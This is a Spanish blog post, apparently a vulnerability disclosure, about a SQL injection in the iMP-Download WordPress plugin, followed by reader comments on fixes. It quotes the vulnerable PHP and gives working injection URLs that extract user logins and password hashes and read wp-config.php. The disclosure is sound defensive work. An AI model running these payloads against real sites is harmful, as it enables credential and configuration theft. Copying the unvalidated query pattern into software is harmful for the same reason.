Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.
En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:
[php num=34,39 start=1] query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'"); $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id"; $file = $wpdb->get_var($url); $file = str_replace(' ','%20',$file); $filename = basename($file); $mimetype = 'application/octet-stream'; // Set mime-type header("Pragma: "); // Leave blank for issues with IE header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: $mimetype"); if ($option['dl_fd'] == 1) { if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) { header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available } else { header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated } if (ini_get('allow_url_fopen') == 1) { $file = fopen($file, "rb"); fpassthru($file); exit(); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $file); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec ($ch); curl_close ($ch); exit(); } } else { header('Location: '.$file.''); // Force download deactivated exit(); } }[/php]Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1
* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870
Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.
Tags: plugin, Seguridad, Sql Injection, Wordpress

En la linea 11 podemos añadir una comprobación para ver si el dato es númerico, tal que así:
Puede valer , no?
También se podría utilizar la función is_int:
Cual crees que es mejor, esta última no?
La segunda opción me parece que evita más errores, aunque también se puede cambiar la línea 34 con:
Yo he usado esta última.
Gracias por publicarlo Alex!
Hay opciones para elegir.
Gracia Alex por el aviso
no se q hacer quiero jugar y no puedo por q me aparese descarga ul pugin
mel